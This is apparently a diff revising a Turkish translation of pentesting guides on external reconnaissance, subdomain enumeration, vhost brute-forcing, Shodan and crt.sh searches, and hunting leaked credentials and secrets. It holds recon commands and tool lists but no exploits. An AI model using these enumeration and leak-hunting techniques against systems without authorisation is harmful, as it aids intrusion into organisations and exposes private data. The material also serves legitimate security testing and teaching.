You can automate this task using [**DomLink** ](https://github.com/vysecurity/DomLink)(requires a whoxy API key).\
You can also perform some automatic reverse whois discovery with [amass](https://github.com/OWASP/Amass): `amass intel -d tesla.com -whois`
@@ -139,13 +139,13 @@ python3 favihash.py -f https://target/favicon.ico -t targets.txt -s
```
![favihash - aynı favicon simgesi hash'ine sahip alanları keşfedin](https://www.infosecmatter.com/wp-content/uploads/2020/07/favihash.jpg)
-Basitçe söylemek gerekirse, favihash hedefimizle aynı favicon simgesi hash'ine sahip alanları keşfetmemizi sağlar.
+Kısaca, favihash, hedefimizle aynı favicon simgesi hash'ine sahip alanları keşfetmemizi sağlar.
-Ayrıca, favicon hash'ini kullanarak teknolojileri arayabilirsiniz, [**bu blog yazısında**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139) açıklandığı gibi. Yani, eğer bir web teknolojisinin savunmasız bir sürümünün **favicon hash'ini** biliyorsanız, shodan'da arama yapabilir ve **daha fazla savunmasız yer bulabilirsiniz**:
+Ayrıca, favicon hash'ini kullanarak teknolojileri arayabilirsiniz, [**bu blog yazısında**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139) açıklandığı gibi. Yani, eğer bir web teknolojisinin savunmasız bir versiyonunun **favicon hash'ini** biliyorsanız, shodan'da arama yapabilir ve **daha fazla savunmasız yer bulabilirsiniz**:
```bash
shodan search org:"Target" http.favicon.hash:116323821 --fields ip_str,port --separator " " | awk '{print $1":"$2}'
```
-Bu, bir web'in **favicon hash'ini hesaplama** şeklidir:
+Bu, bir web'in **favicon hash'ini** nasıl **hesaplayabileceğinizdir**:
```python
import mmh3
import requests
@@ -164,7 +164,7 @@ Web sayfalarında **aynı organizasyondaki farklı webler arasında paylaşılab
### **CRT Time**
-Bir cron işi olması yaygındır.
+Bir cron job'a sahip olmak yaygındır.
```bash
# /etc/crontab
37 13 */10 * * certbot renew --post-hook "systemctl reload nginx"
@@ -184,13 +184,13 @@ Görünüşe göre, insanların alt alan adlarını bulut sağlayıcılarına ai
### **Diğer yollar**
-**Bu tekniği her yeni alan adı bulduğunuzda daha fazla alan adı keşfetmek için kullanabileceğinizi unutmayın.**
+**Bu tekniği, her yeni alan adı bulduğunuzda daha fazla alan adı keşfetmek için kullanabileceğinizi unutmayın.**
**Shodan**
Zaten IP alanına sahip olan kuruluşun adını biliyorsunuz. Bu veriyi shodan'da aramak için kullanabilirsiniz: `org:"Tesla, Inc."` Bulunan hostları TLS sertifikasında yeni beklenmedik alan adları için kontrol edin.
-Ana web sayfasının **TLS sertifikasına** erişebilir, **Kuruluş adını** alabilir ve ardından **shodan** tarafından bilinen tüm web sayfalarının **TLS sertifikaları** içinde o adı arayabilirsiniz, filtre ile: `ssl:"Tesla Motors"` veya [**sslsearch**](https://github.com/HarshVaragiya/sslsearch) gibi bir araç kullanabilirsiniz.
+Ana web sayfasının **TLS sertifikasına** erişebilir, **Kuruluş adını** alabilir ve ardından **shodan** tarafından bilinen tüm web sayfalarının **TLS sertifikaları** içinde o adı arayabilirsiniz: `ssl:"Tesla Motors"` veya [**sslsearch**](https://github.com/HarshVaragiya/sslsearch) gibi bir araç kullanabilirsiniz.
**Assetfinder**
@@ -198,9 +198,9 @@ Ana web sayfasının **TLS sertifikasına** erişebilir, **Kuruluş adını** al
### **Zafiyet arama**
-Bazı [alan adı ele geçirme](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover) durumlarını kontrol edin. Belki bir şirket **bir alan adı kullanıyor** ama **sahipliğini kaybetti**. Sadece kaydedin (eğer yeterince ucuzsa) ve şirkete bildirin.
+Bazı [alan adı ele geçirme](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover) durumlarını kontrol edin. Belki bir şirket **bir alan adı kullanıyor** ama **sahipliğini kaybetti**. Sadece kaydedin (eğer yeterince ucuzsa) ve şirketi bilgilendirin.
-Eğer bulduğunuz varlık keşfindeki IP'lerden farklı bir IP'ye sahip herhangi bir **alan adı bulursanız**, **temel bir zafiyet taraması** (Nessus veya OpenVAS kullanarak) ve bazı [**port taramaları**](../pentesting-network/#discovering-hosts-from-the-outside) ile **nmap/masscan/shodan** yapmalısınız. Hangi hizmetlerin çalıştığına bağlı olarak, **bu kitapta "onlara saldırmak" için bazı ipuçları bulabilirsiniz**.\
+Eğer bulduğunuz varlık keşfindeki IP'lerden farklı bir IP'ye sahip herhangi bir **alan adı bulursanız**, **temel bir zafiyet taraması** (Nessus veya OpenVAS kullanarak) ve bazı [**port taramaları**](../pentesting-network/#discovering-hosts-from-the-outside) **nmap/masscan/shodan** ile gerçekleştirmelisiniz. Hangi hizmetlerin çalıştığına bağlı olarak, **bu kitapta "onlara saldırmak" için bazı ipuçları bulabilirsiniz**.\
_Domain'in, müşterinin kontrolünde olmayan bir IP içinde barındırıldığını unutmayın, bu nedenle kapsamda değildir, dikkatli olun._
\
@@ -307,7 +307,7 @@ curl -s "https://crt.sh/?q=%25.$1" \
}
crt tesla.com
```
-* [**gau**](https://github.com/lc/gau)**:** belirli bir alan adı için AlienVault'un Açık Tehdit Değişimi, Wayback Machine ve Common Crawl'dan bilinen URL'leri alır.
+* [**gau**](https://github.com/lc/gau)**:** Belirli bir alan adı için AlienVault'un Açık Tehdit Değişimi, Wayback Machine ve Common Crawl'dan bilinen URL'leri alır.
```bash
# Get subdomains from GAUs found URLs
gau --subs tesla.com | cut -d "/" -f 3 | sort -u
@@ -340,7 +340,7 @@ python3 DomainTrail.py -d example.com
* [**securitytrails.com**](https://securitytrails.com/) alt alanlar ve IP geçmişi aramak için ücretsiz bir API sunmaktadır.
* [**chaos.projectdiscovery.io**](https://chaos.projectdiscovery.io/#/)
-Bu proje, **bug-bounty programlarıyla ilgili tüm alt alanları ücretsiz olarak** sunmaktadır. Bu verilere [chaospy](https://github.com/dr-0x0x/chaospy) kullanarak da erişebilirsiniz veya bu projenin kullandığı kapsamı [https://github.com/projectdiscovery/chaos-public-program-list](https://github.com/projectdiscovery/chaos-public-program-list) adresinden de görebilirsiniz.
+Bu proje, **bug-bounty programlarıyla ilgili tüm alt alanları ücretsiz olarak** sunmaktadır. Bu verilere [chaospy](https://github.com/dr-0x0x/chaospy) kullanarak da erişebilirsiniz veya bu projenin kullandığı kapsamı [https://github.com/projectdiscovery/chaos-public-program-list](https://github.com/projectdiscovery/chaos-public-program-list) adresinden de erişebilirsiniz.
Bu araçların birçokunun **karşılaştırmasını** burada bulabilirsiniz: [https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off](https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off)
@@ -370,7 +370,7 @@ grep -E "tesla.com. [0-9]+ IN A .+" /tmp/results.txt
```
gobuster dns -d mysite.com -t 50 -w subdomains.txt
```
-* [**shuffledns**](https://github.com/projectdiscovery/shuffledns), aktif bruteforce kullanarak geçerli alt alan adlarını listelemenizi sağlayan, go dilinde yazılmış `massdns` etrafında bir sarmalayıcıdır; ayrıca alt alan adlarını joker karakter desteği ile çözümleme ve kolay girdi-çıktı desteği sunar.
+* [**shuffledns**](https://github.com/projectdiscovery/shuffledns) `massdns` etrafında yazılmış bir sarmalayıcıdır, go dilinde yazılmıştır ve aktif brute force kullanarak geçerli alt alan adlarını listelemenizi sağlar, ayrıca alt alan adlarını wildcard yönetimi ile çözümleyebilir ve kolay girdi-çıktı desteği sunar.
```
shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt
```
@@ -420,7 +420,7 @@ python3 main.py adobe.com adobe adobe.rules
make_brute_list.sh adobe.rules adobe.brute
puredns resolve adobe.brute --write adobe.valid
```
-* [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_, son derece basit ama etkili bir DNS yanıtına dayalı algoritma ile birleştirilmiş bir alt alan brute-force fuzzer'dır. Özelleştirilmiş bir kelime listesi veya tarihsel DNS/TLS kayıtları gibi sağlanan bir girdi veri setini kullanarak, daha fazla ilgili alan adı sentezlemek ve bunları DNS taraması sırasında toplanan bilgilere dayalı olarak bir döngüde daha da genişletmek için kullanılır.
+* [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_, son derece basit ama etkili bir DNS yanıtına dayalı algoritma ile birleştirilmiş bir alt alan brute-force fuzzer'dır. Özelleştirilmiş bir kelime listesi veya tarihsel DNS/TLS kayıtları gibi sağlanan bir veri setini kullanarak, daha fazla ilgili alan adı sentezlemek ve bunları DNS taraması sırasında toplanan bilgilere dayalı olarak bir döngüde daha da genişletmek için kullanılır.
```
echo www | subzuf facebook.com
```
@@ -432,9 +432,9 @@ Bir alan adından **alt alan keşfini otomatikleştirme** hakkında yazdığım
{% embed url="https://trickest.com/blog/full-subdomain-brute-force-discovery-using-workflow/" %}
-### **VHosts / Sanal Ana Bilgiler**
+### **VHosts / Sanal Ana Bilgisayarlar**
-Eğer bir IP adresinde **bir veya birkaç web sayfası** bulduysanız, **o IP'deki diğer alt alanları bulmaya** çalışabilirsiniz; bunun için **OSINT kaynaklarında** bir IP'deki alan adlarını arayabilir veya **o IP'deki VHost alan adlarını brute-force** yapabilirsiniz.
+Eğer bir IP adresinde **bir veya birkaç web sayfası** bulduysanız, **o IP'deki diğer alt alanları bulmaya çalışabilirsiniz**. Bunun için **OSINT kaynaklarında** bir IP'deki alan adlarını arayabilir veya **o IP'deki VHost alan adlarını brute-force ile deneyebilirsiniz**.
#### OSINT
@@ -442,7 +442,7 @@ Bazı **VHosts'ları IP'lerde bulmak için** [**HostHunter**](https://github.com
**Brute Force**
-Eğer bazı alt alanların bir web sunucusunda gizli olabileceğinden şüpheleniyorsanız, brute force yapmayı deneyebilirsiniz:
+Eğer bazı alt alanların bir web sunucusunda gizli olabileceğinden şüpheleniyorsanız, brute force denemesi yapabilirsiniz:
```bash
ffuf -c -w /path/to/wordlist -u http://victim.com -H "Host: FUZZ.victim.com"
@@ -475,30 +475,30 @@ Ayrıca, bu noktada kapsam içindeki tüm alan adlarını bildiğiniz için, [**
Bir alan adının **yeni alt alanları** oluşturulup oluşturulmadığını **Sertifika Şeffaflığı** Loglarını izleyerek **izleyebilirsiniz** [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py).
-### **Looking for vulnerabilities**
+### **Güvenlik açıklarını arama**
Mümkün olan [**alt alan ele geçirmelerini**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover) kontrol edin.\
Eğer **alt alan** bazı **S3 bucket**'larına **işaret ediyorsa**, [**izinleri kontrol edin**](../../network-services-pentesting/pentesting-web/buckets/).
-Eğer keşif aşamasında bulduğunuz varlıkların IP'lerinden farklı bir **IP ile alt alan bulursanız**, **temel bir güvenlik açığı taraması** (Nessus veya OpenVAS kullanarak) ve bazı [**port taramaları**](../pentesting-network/#discovering-hosts-from-the-outside) **nmap/masscan/shodan** ile gerçekleştirmelisiniz. Hangi hizmetlerin çalıştığına bağlı olarak, **bu kitapta "saldırmak" için bazı ipuçları bulabilirsiniz**.\
-_Bazı durumlarda alt alan, müşterinin kontrolünde olmayan bir IP içinde barındırılabilir, bu nedenle kapsamda değildir, dikkatli olun._
+Eğer keşif sırasında bulduğunuz varlıklardan farklı bir IP'ye sahip herhangi bir **alt alan bulursanız**, **temel bir güvenlik açığı taraması** (Nessus veya OpenVAS kullanarak) ve bazı [**port taramaları**](../pentesting-network/#discovering-hosts-from-the-outside) **nmap/masscan/shodan** ile gerçekleştirmelisiniz. Hangi hizmetlerin çalıştığına bağlı olarak, **bu kitapta "saldırmak" için bazı ipuçları bulabilirsiniz**.\
+_Bazı durumlarda alt alanın, müşteri tarafından kontrol edilmeyen bir IP içinde barındırıldığını unutmayın, bu nedenle kapsamda değildir, dikkatli olun._
-## IPs
+## IP'ler
-Başlangıç aşamalarında **bazı IP aralıkları, alan adları ve alt alanlar** bulmuş olabilirsiniz.\
-Artık bu aralıklardan **tüm IP'leri toplama** ve **alan adları/alt alanlar (DNS sorguları)** için zamanı geldi.
+Başlangıç adımlarında **bazı IP aralıkları, alan adları ve alt alanlar** bulmuş olabilirsiniz.\
+Artık bu aralardan **tüm IP'leri toplama** ve **alan adları/alt alanlar (DNS sorguları)** için zamanı geldi.
-Aşağıdaki **ücretsiz API'lerden** hizmetler kullanarak, **alan adları ve alt alanlar tarafından kullanılan önceki IP'leri** de bulabilirsiniz. Bu IP'ler hala müşteri tarafından sahiplenilmiş olabilir (ve [**CloudFlare bypass'larını**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md) bulmanıza yardımcı olabilir)
+Aşağıdaki **ücretsiz API'lerden** hizmetler kullanarak, **alan adları ve alt alanlar tarafından kullanılan önceki IP'leri** de bulabilirsiniz. Bu IP'ler hala müşteri tarafından sahiplenilmiş olabilir (ve [**CloudFlare bypass'larını**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md) bulmanıza yardımcı olabilir).
* [**https://securitytrails.com/**](https://securitytrails.com/)
Ayrıca, belirli bir IP adresine işaret eden alan adlarını kontrol etmek için [**hakip2host**](https://github.com/hakluke/hakip2host) aracını kullanabilirsiniz.
-### **Looking for vulnerabilities**
+### **Güvenlik açıklarını arama**
**CDN'lere ait olmayan tüm IP'leri port taraması yapın** (çünkü burada ilginç bir şey bulma olasılığınız çok düşük). Keşfedilen çalışan hizmetlerde **güvenlik açıkları bulma** şansınız olabilir.
-**Host'ları tarama hakkında bir** [**rehber**](../pentesting-network/) **bulun.**
+**Host'ları tarama hakkında bir** [**kılavuz**](../pentesting-network/) **bulun.**
## Web sunucuları avı
@@ -506,9 +506,9 @@ Ayrıca, belirli bir IP adresine işaret eden alan adlarını kontrol etmek içi
Önceki adımlarda muhtemelen keşfedilen **IP'ler ve alan adları üzerinde bazı keşifler** yaptınız, bu nedenle **mümkün olan tüm web sunucularını** zaten bulmuş olabilirsiniz. Ancak, bulmadıysanız, şimdi kapsam içinde **web sunucularını aramak için bazı hızlı ipuçlarını** göreceğiz.
-Lütfen, bunun **web uygulamaları keşfine yönelik** olacağını unutmayın, bu nedenle **güvenlik açığı** ve **port taraması** da yapmalısınız (**kapsam tarafından izin verilirse**).
+Lütfen, bunun **web uygulamaları keşfine yönelik** olacağını unutmayın, bu nedenle **güvenlik açığı** ve **port taraması** da yapmalısınız (**kapsam tarafından izin veriliyorsa**).
-**Web** sunucularına ilişkin **açık portları** keşfetmek için [**masscan** ile hızlı bir yöntem burada bulunabilir](../pentesting-network/#http-port-discovery).\
+**Web** sunucularıyla ilgili **açık portları keşfetmek için hızlı bir yöntem** [**masscan** kullanarak burada bulunabilir](../pentesting-network/#http-port-discovery).\
Web sunucularını aramak için başka bir kullanıcı dostu araç [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) ve [**httpx**](https://github.com/projectdiscovery/httpx)'dir. Sadece bir alan adı listesi geçiyorsunuz ve port 80 (http) ve 443 (https) ile bağlantı kurmaya çalışıyor. Ayrıca, diğer portları denemesi için belirtebilirsiniz:
```bash
cat /tmp/domains.txt | httprobe #Test all domains inside the file for port 80 and 443
@@ -516,11 +516,11 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
```
### **Ekran Görüntüleri**
-Artık **kapsamda bulunan tüm web sunucularını** (şirketin **IP'leri** ve tüm **alan adları** ve **alt alan adları** arasında) keşfettiğinize göre, muhtemelen **nereden başlayacağınızı bilmiyorsunuz**. Bu yüzden, bunu basit tutalım ve hepsinin ekran görüntülerini alarak başlayalım. Sadece **ana sayfaya bakarak**, daha **savunmasız** olma eğiliminde olan **garip** uç noktalar bulabilirsiniz.
+Artık **kapsamda bulunan tüm web sunucularını** (şirketin **IP'leri** ve tüm **alan adları** ve **alt alan adları** arasında) keşfettiğinize göre, muhtemelen **nereden başlayacağınızı bilmiyorsunuz**. Bu yüzden, bunu basit hale getirelim ve hepsinin ekran görüntülerini alarak başlayalım. Sadece **ana sayfaya bakarak**, daha **savunmasız** olma eğiliminde olan **garip** uç noktalar bulabilirsiniz.
Önerilen fikri gerçekleştirmek için [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), [**Shutter**](https://shutter-project.org/downloads/third-party-packages/), [**Gowitness**](https://github.com/sensepost/gowitness) veya [**webscreenshot**](https://github.com/maaaaz/webscreenshot)**'i** kullanabilirsiniz.
-Ayrıca, [**eyeballer**](https://github.com/BishopFox/eyeballer) kullanarak tüm **ekran görüntülerini** gözden geçirip, **hangi noktaların muhtemelen zafiyet içerebileceğini** ve hangilerinin olmadığını belirleyebilirsiniz.
+Ayrıca, [**eyeballer**](https://github.com/BishopFox/eyeballer) kullanarak tüm **ekran görüntülerini** tarayabilir ve **hangi noktaların muhtemelen zafiyet içerebileceğini** belirleyebilirsiniz.
## Kamu Bulut Varlıkları
@@ -544,7 +544,7 @@ Bulut Varlıkları ararken, **AWS'deki kovalardan daha fazlasını aramalısın
## E-postalar
-Kapsamdaki **alan adları** ve **alt alan adları** ile, **e-postaları aramaya başlamak için gereken her şeye** sahipsiniz. Bir şirketin e-postalarını bulmak için en iyi çalışan **API'ler** ve **araçlar** şunlardır:
+Kapsam içindeki **alan adları** ve **alt alan adları** ile, **e-postaları aramaya başlamak için gereken her şeye** sahipsiniz. Bir şirketin e-postalarını bulmak için en iyi çalışan **API'ler** ve **araçlar** şunlardır:
* [**theHarvester**](https://github.com/laramies/theHarvester) - API'lerle
* [**https://hunter.io/**](https://hunter.io/) API'si (ücretsiz sürüm)
@@ -566,20 +566,20 @@ E-postalar, daha sonra **web girişleri ve kimlik doğrulama hizmetleri** (SSH g
**Geçerli sızdırılmış** kimlik bilgileri bulursanız, bu çok kolay bir kazançtır.
-## Gizli Bilgi Sızıntıları
+## Gizli Bilgiler Sızıntıları
-Kimlik bilgisi sızıntıları, **hassas bilgilerin sızdırıldığı ve satıldığı** şirketlerin hacklenmesiyle ilgilidir. Ancak, şirketler, bu veritabanlarında yer almayan **diğer sızıntılardan** da etkilenebilir:
+Kimlik bilgisi sızıntıları, **hassas bilgilerin sızdırıldığı ve satıldığı** şirketlerin hacklenmesiyle ilgilidir. Ancak, şirketler, bu veritabanlarında olmayan **diğer sızıntılardan** da etkilenebilir:
### Github Sızıntıları
-Kimlik bilgileri ve API'ler, **şirketin** veya o github şirketinde çalışan **kullanıcıların** **açık havuzlarında** sızdırılmış olabilir.\
-**Leakos** adlı aracı kullanarak bir **kuruluşun** ve onun **geliştiricilerinin** tüm **açık havuzlarını** **indirmek** ve bunlar üzerinde otomatik olarak [**gitleaks**](https://github.com/zricethezav/gitleaks) çalıştırabilirsiniz.
+Kimlik bilgileri ve API'ler, **şirketin** veya o github şirketinde çalışan **kullanıcıların** **açık havuzlarında** sızdırılabilir.\
+Bir **kuruluşun** ve onun **geliştiricilerinin** tüm **açık havuzlarını** **indirmek** için [**Leakos**](https://github.com/carlospolop/Leakos) aracını kullanabilir ve bunlar üzerinde otomatik olarak [**gitleaks**](https://github.com/zricethezav/gitleaks) çalıştırabilirsiniz.
**Leakos**, bazen **web sayfalarının da gizli bilgiler içerebileceği** için, kendisine **verilen URL'ler** üzerinden **gitleaks** çalıştırmak için de kullanılabilir.
#### Github Dorks
-Ayrıca, saldırdığınız kuruluşta arayabileceğiniz potansiyel **github dorks** için bu **sayfayı** kontrol edin:
+Saldırdığınız kuruluşta arayabileceğiniz potansiyel **github dorks** için bu **sayfayı** da kontrol edin:
{% content-ref url="github-leaked-secrets.md" %}
[github-leaked-secrets.md](github-leaked-secrets.md)
@@ -587,14 +587,14 @@ Ayrıca, saldırdığınız kuruluşta arayabileceğiniz potansiyel **github dor
### Paste Sızıntıları
-Bazen saldırganlar veya sadece çalışanlar, **şirket içeriğini bir paste sitesinde yayınlayabilir**. Bu, **hassas bilgiler** içerebilir veya içermeyebilir, ancak aramak için çok ilginçtir.\
-Birden fazla paste sitesinde aynı anda arama yapmak için [**Pastos**](https://github.com/carlospolop/Pastos) aracını kullanabilirsiniz.
+Bazen saldırganlar veya sadece çalışanlar, **şirket içeriğini bir paste sitesinde yayınlayabilir**. Bu, **hassas bilgiler** içerebilir veya içermeyebilir, ancak bunu aramak çok ilginçtir.\
+Birden fazla paste sitesinde aynı anda aramak için [**Pastos**](https://github.com/carlospolop/Pastos) aracını kullanabilirsiniz.
### Google Dorks
-Eski ama altın değerinde google dorks, **orada olmaması gereken açık bilgileri** bulmak için her zaman faydalıdır. Tek sorun, [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) içinde manuel olarak çalıştıramayacağınız birkaç **binlerce** olası sorgu bulunmasıdır. Bu nedenle, en sevdiğiniz 10 tanesini alabilir veya hepsini çalıştırmak için [**Gorks**](https://github.com/carlospolop/Gorks) gibi bir **araç** kullanabilirsiniz.
+Eski ama altın değerinde google dorks, **orada olmaması gereken açık bilgileri** bulmak için her zaman faydalıdır. Tek sorun, [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) içinde manuel olarak çalıştıramayacağınız birkaç **binlerce** olası sorgu bulunmasıdır. Bu yüzden, en sevdiğiniz 10 tanesini alabilir veya hepsini çalıştırmak için [**Gorks**](https://github.com/carlospolop/Gorks) gibi bir **araç** kullanabilirsiniz.
-_Not edin ki, tüm veritabanını düzenli Google tarayıcısını kullanarak çalıştırmayı bekleyen araçlar asla sona ermeyecek, çünkü Google sizi çok kısa sürede engelleyecektir._
+_Not edin ki, tüm veritabanını normal Google tarayıcısını kullanarak çalıştırmayı bekleyen araçlar asla sona ermeyecek, çünkü google sizi çok kısa sürede engelleyecektir._
### **Zafiyet Arama**
@@ -602,7 +602,7 @@ _Not edin ki, tüm veritabanını düzenli Google tarayıcısını kullanarak ç
## Kamu Kodu Zafiyetleri
-Eğer şirketin **açık kaynak kodu** olduğunu bulursanız, bunu **analiz edebilir** ve üzerinde **zafiyetler** arayabilirsiniz.
+Eğer şirketin **açık kaynak kodu** olduğunu bulduysanız, bunu **analiz edebilir** ve üzerinde **zafiyetler** arayabilirsiniz.
**Dile bağlı olarak**, kullanabileceğiniz farklı **araçlar** vardır:
@@ -616,22 +616,22 @@ Ayrıca, **açık havuzları taramanıza** olanak tanıyan ücretsiz hizmetler d
## [**Web Pentesting Metodolojisi**](../../network-services-pentesting/pentesting-web/)
-**Hata avcıları** tarafından bulunan **zafiyetlerin çoğunluğu**, **web uygulamalarının** içinde yer almaktadır, bu nedenle bu noktada bir **web uygulaması test metodolojisi** hakkında konuşmak istiyorum ve bu bilgiyi [**burada bulabilirsiniz**](../../network-services-pentesting/pentesting-web/).
+**Hata avcıları tarafından bulunan zafiyetlerin** çoğunluğu **web uygulamalarında** yer almaktadır, bu yüzden bu noktada bir **web uygulaması test metodolojisi** hakkında konuşmak istiyorum ve bu bilgiyi [**burada bulabilirsiniz**](../../network-services-pentesting/pentesting-web/).
Ayrıca, [**Web Otomatik Tarayıcıları açık kaynak araçları**](../../network-services-pentesting/pentesting-web/#automatic-scanners) bölümüne özel bir atıfta bulunmak istiyorum, çünkü, çok hassas zafiyetleri bulmalarını beklememelisiniz, ancak **ilk web bilgilerini elde etmek için iş akışlarına entegre etmekte faydalıdırlar.**
## Tekrar
-> Tebrikler! Bu noktada **tüm temel numaralandırmayı** gerçekleştirdiniz. Evet, bu temel çünkü daha fazla numaralandırma yapılabilir (daha fazla hile göreceğiz).
+> Tebrikler! Bu noktada **tüm temel numaraları** gerçekleştirmişsinizdir. Evet, bu temel çünkü daha fazla numara yapılabilir (daha fazla hile göreceğiz).
Yani, zaten şunları buldunuz:
-1. Kapsamdaki tüm **şirketleri** buldunuz
+1. Kapsam içindeki tüm **şirketleri** buldunuz
2. Şirketlere ait tüm **varlıkları** buldunuz (ve kapsamda bazı zafiyet taramaları gerçekleştirdiniz)
3. Şirketlere ait tüm **alan adlarını** buldunuz
-4. Alan adlarının tüm **alt alan adlarını** buldunuz (herhangi bir alt alan devralma?)
-5. Kapsamdaki tüm **IP'leri** (CDN'lerden ve **CDN'lerden olmayan**) buldunuz.
-6. Tüm **web sunucularını** buldunuz ve bunların **ekran görüntülerini** aldınız (daha derin bir incelemeyi gerektiren garip bir şey var mı?)
+4. Alan adlarının tüm **alt alan adlarını** buldunuz (herhangi bir alt alan ele geçirme?)
+5. Kapsam içindeki tüm **IP'leri** (CDN'lerden ve **CDN'lerden olmayan**) buldunuz.
+6. Tüm **web sunucularını** buldunuz ve bunların bir **ekran görüntüsünü** aldınız (daha derin bir incelemeyi gerektiren garip bir şey var mı?)
7. Şirkete ait tüm **potansiyel kamu bulut varlıklarını** buldunuz.
8. **E-postalar**, **kimlik bilgisi sızıntıları** ve **gizli sızıntılar** size **çok kolay bir büyük kazanç** sağlayabilir.
9. Bulduğunuz tüm web sitelerini **pentest ettiniz**
@@ -649,9 +649,9 @@ Belirli bir kapsamda önerilen eylemlerin bir kısmını gerçekleştirecek bir
* [**@Jhaddix**](https://twitter.com/Jhaddix) tarafından sunulan tüm ücretsiz kurslar, örneğin [**The Bug Hunter's Methodology v4.0 - Recon Edition**](https://www.youtube.com/watch?v=p4JgIu1mceI)
-
+
-**Hackleme kariyerine** ve hacklenemez olanı hacklemeye ilgi duyuyorsanız - **işe alıyoruz!** (_akıcı Lehçe yazılı ve sözlü gereklidir_).
+**Hackleme kariyerine** ilgi duyuyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı Lehçe yazılı ve sözlü gereklidir_).
{% embed url="https://www.stmcyber.com/careers" %}
@@ -664,7 +664,7 @@ GCP Hackleme öğrenin ve pratik yapın: [**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-GCP Hacking'i öğrenin ve pratik yapın: [**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+AWS Hacking öğrenin ve pratik yapın:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+GCP Hacking öğrenin ve pratik yapın: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
@@ -15,13 +15,13 @@ GCP Hacking'i öğrenin ve pratik yapın:
{% endhint %}
-
+
Eğer **hacking kariyeri** ile ilgileniyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı Lehçe yazılı ve sözlü gereklidir_).
{% embed url="https://www.stmcyber.com/careers" %}
-## Pentesting Metodolojisi
+## Pentesting Methodology
@@ -31,24 +31,24 @@ _Hacktricks logoları_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_
Saldırmak istediğiniz makineye **fiziksel erişiminiz** var mı? **Fiziksel saldırılar hakkında bazı ipuçlarını** [**okumalısınız**](../hardware-physical-access/physical-attacks.md) ve [**GUI uygulamalarından kaçış hakkında**](../hardware-physical-access/escaping-from-gui-applications.md) diğerlerini incelemelisiniz.
-### 1 - [Ağ içindeki hostları keşfetme](pentesting-network/#discovering-hosts)/ [Şirketin Varlıklarını Keşfetme](external-recon-methodology/)
+### 1 - [Ağ içindeki hostları keşfetmek](pentesting-network/#discovering-hosts)/ [Şirketin Varlıklarını Keşfetmek](external-recon-methodology/)
-**Yaptığınız** **testin** **içsel veya dışsal test** olup olmadığına bağlı olarak, **şirket ağı içindeki hostları bulmak** (içsel test) veya **şirketin varlıklarını internette bulmak** (dışsal test) isteyebilirsiniz.
+**Testin** **içsel veya dışsal test** olup olmadığına bağlı olarak, **şirket ağı içindeki hostları bulmak** (içsel test) veya **şirketin internetteki varlıklarını bulmak** (dışsal test) isteyebilirsiniz.
{% hint style="info" %}
Dışsal bir test yapıyorsanız, şirketin iç ağına erişim sağladıktan sonra bu kılavuzu yeniden başlatmalısınız.
{% endhint %}
-### **2-** [**Ağ ile Eğlenme**](pentesting-network/) **(İçsel)**
+### **2-** [**Ağ ile Eğlenmek**](pentesting-network/) **(İçsel)**
**Bu bölüm yalnızca içsel bir test yapıyorsanız geçerlidir.**\
-Bir hosta saldırmadan önce, belki de **ağdan bazı kimlik bilgilerini çalmayı** veya **veri dinlemeyi** tercih edersiniz, böylece ağ içinde **pasif/aktif (MitM)** olarak neler bulabileceğinizi öğrenirsiniz. [**Pentesting Ağı**](pentesting-network/#sniffing) okuyabilirsiniz.
+Bir hosta saldırmadan önce, belki de **ağdan bazı kimlik bilgilerini çalmayı** veya **veri dinlemeyi** tercih edersiniz, böylece ağ içinde **pasif/aktif (MitM)** olarak neler bulabileceğinizi öğrenirsiniz. [**Pentesting Network**](pentesting-network/#sniffing) bölümünü okuyabilirsiniz.
-### 3- [Port Taraması - Servis keşfi](pentesting-network/#scanning-hosts)
+### 3- [Port Tarama - Servis keşfi](pentesting-network/#scanning-hosts)
**Bir hostta zafiyet ararken** yapılacak ilk şey, hangi **servislerin hangi portlarda çalıştığını** bilmektir. [**Hostların portlarını taramak için temel araçlara**](pentesting-network/#scanning-hosts) bakalım.
-### **4-** [**Servis versiyon açıklarını arama**](search-exploits.md)
+### **4-** [Servis versiyon açıklarını aramak](search-exploits.md)
Hangi servislerin çalıştığını ve belki de versiyonlarını öğrendikten sonra, **bilinen zafiyetleri aramalısınız**. Belki şansınız yaver gider ve size bir shell verecek bir exploit bulursunuz...
@@ -58,32 +58,32 @@ Eğer çalışan herhangi bir servis için şık bir exploit yoksa, her çalış
**Bu kitapta en yaygın servisleri pentest etmek için bir kılavuz bulacaksınız** (ve o kadar yaygın olmayan diğerlerini de). Lütfen, sol dizinde **_**PENTESTING**_ **bölümünü arayın** (servisler varsayılan portlarına göre sıralanmıştır).
